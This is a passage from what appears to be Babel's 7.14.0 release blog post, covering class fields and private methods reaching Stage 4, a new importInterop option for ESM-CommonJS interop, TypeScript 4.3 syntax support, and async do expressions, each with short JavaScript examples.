<p>The class fields and private methods proposals just reached Stage 4 and will be officially included in ECMAScript 2022! This was more of a formality since the semantics were already finalized and they've already been implemented in all the major browsers.</p>
<p>You can read more details about this new syntax on MDN (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields" target="_blank" rel="noopener noreferrer">public fields</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields" target="_blank" rel="noopener noreferrer">private fields and methods</a>).</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Check</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> className </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Check"</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// static public class field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #value </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// # means private!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">get</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#double</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// private getter</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#value</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// using a private field</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Thus, you can remove <code>@babel/plugin-proposal-class-properties</code> and <code>@babel/plugin-proposal-private-methods</code>, since they are now enabled by default in <a href="https://babeljs.io/docs/en/babel-preset-env" target="_blank" rel="noopener noreferrer"><code>@babel/preset-env</code></a>.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>Webpack supports this syntax natively as of <a href="https://github.com/webpack/webpack/releases/tag/v5.36.0" target="_blank" rel="noopener noreferrer">v5.36.0</a>.
For older versions, a workaround that works with simpler Webpack setups is to manually enable the <code>acorn-stage3</code> plugin, by installing <code>acorn-stage3</code> and adding these lines at the beginning of your <code>webpack.config.js</code> file:</p><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Require webpack's acorn dependency</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> acorn </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"acorn"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">paths</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">require</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"webpack"</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Enable the Stage 3 plugin</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">acorn</span><span class="token punctuation">.</span><span class="token property-access maybe-class-name">Parser</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> acorn</span><span class="token punctuation">.</span><span class="token property-access maybe-class-name">Parser</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">extend</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"acorn-stage3"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><p>If this doesn't work for you, or if you use a different tool that doesn't support class fields, you still need to use the Babel plugins to transform them.</p></div></div>
<p>If you are using <code>@babel/preset-env</code>'s <a href="https://babeljs.io/docs/en/babel-preset-env#shippedproposals" target="_blank" rel="noopener noreferrer"><code>shippedProposals</code></a> option, it now also includes the <code>@babel/plugin-proposal-private-property-in-object</code> (introduced in <a href="https://babel.dev/blog/2020/05/25/7.10.0#private-fields-in-in-11372httpsgithubcombabelbabelpull11372" target="_blank" rel="noopener noreferrer">7.10</a>) and <code>@babel/plugin-proposal-class-static-block</code> (introduced in <a href="https://babel.dev/blog/2020/10/15/7.12.0#class-static-blocks-12079httpsgithubcombabelbabelpull12079-12143httpsgithubcombabelbabelpull12143" target="_blank" rel="noopener noreferrer">7.12</a>) plugins: you can safely remove them from your configuration.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #bar </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"bar"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> #bar </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// private-property-in-object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">42</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> y</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// static block</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">try</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">doSomethingWith</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">catch</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"unknown"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="better-esm-cjs-interop">Better ESM-CJS interop<a href="https://babeljs.io/blog/2021/04/29/7.14.0#better-esm-cjs-interop" class="hash-link" aria-label="Direct link to Better ESM-CJS interop" title="Direct link to Better ESM-CJS interop">​</a></h3>
<p>When importing a CommonJS file from an ECMAScript module, Node.js has different semantics than most of the tools in the JavaScript ecosystem.</p>
<p>Suppose that you are depending on the following library:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>And the author of this library doesn't publish it as-is, but compiles it to CommonJS:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">"use strict"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token known-class-name class-name" style="color:#eab700">Object</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">defineProperty</span><span class="token punctuation">(</span><span class="token plain">exports</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"__esModule"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">exports</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> two</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>When importing this library with Babel (or TypeScript, Rollup or similar tools) and compiling your code to CommonJS, it will look like:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">two</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"two"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>One day, you decide to provide two versions of your code: a compiled CommonJS one, and one using native ECMAScript modules.</p>
<p>While the compiled version works, the ESM one will throw <code>TypeError: two is not a function</code>. This is because in Node.js, the default import is <em>not</em> the dependency's <code>exports.default</code>, but the whole <code>module.exports</code> object instead.</p>
<p>You could change your code to:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">two</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"two"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">two</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>However, this new code has a problem: it now doesn't work when compiled, because <code>two.default</code> is not a function.</p>
<p>Babel v7.14.0 adds a new <code>importInterop: "node"</code> option in the <a href="https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-transform-modules-commonjs</code></a> plugin that allows <code>import</code> statements to match the native Node.js behavior. You can read more about this option <a href="https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs#importInterop" target="_blank" rel="noopener noreferrer">in the docs</a>.</p>
<p><a href="https://github.com/nicolo-ribaudo" target="_blank" rel="noopener noreferrer">Nicolò</a> from our team also <a href="https://github.com/rollup/plugins/pull/838" target="_blank" rel="noopener noreferrer">contributed</a> a similar option to <code>@rollup/plugin-commonjs</code>, which will be out in the next release. Our goal is to help the ecosystem migrate to native ECMAScript modules by providing an easier migration path.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-43">TypeScript 4.3<a href="https://babeljs.io/blog/2021/04/29/7.14.0#typescript-43" class="hash-link" aria-label="Direct link to TypeScript 4.3" title="Direct link to TypeScript 4.3">​</a></h3>
<p>The new TypeScript version, which will be released as stable in May, supports a few new features:</p>
<ul>
<li><code>override</code> modifiers in class elements</li>
<li>static index signatures (<code>[key: KeyType]: ValueType</code>) in classes</li>
<li><code>get</code>/<code>set</code> in type declarations</li>
</ul>
<p>You can read more about them in the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-3/" target="_blank" rel="noopener noreferrer">TypeScript 4.3 release post</a>. This is supported through <a href="https://babeljs.io/docs/en/babel-preset-typescript" target="_blank" rel="noopener noreferrer">@babel/preset-typescript</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="async-do-expressions"><code>async do</code> expressions<a href="https://babeljs.io/blog/2021/04/29/7.14.0#async-do-expressions" class="hash-link" aria-label="Direct link to async-do-expressions" title="Direct link to async-do-expressions">​</a></h3>
<p><a href="https://github.com/tc39/proposal-async-do-expressions" target="_blank" rel="noopener noreferrer"><code>async do</code> expressions</a> are a Stage 1 proposal built on top of the <a href="https://github.com/tc39/proposal-do-expressions" target="_blank" rel="noopener noreferrer"><code>do</code> expressions</a> proposal.</p>
<p>They allow using asynchronous blocks within synchronous code, and those blocks are evaluated as a promise:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">sync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">async</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">do</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> res </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">Promise</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Third!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Second!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    res</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"First!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  x</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">then</span><span class="token punctuation">(</span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token property-access">log</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">sync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Logs:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "First!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "Second!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "Third!"</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
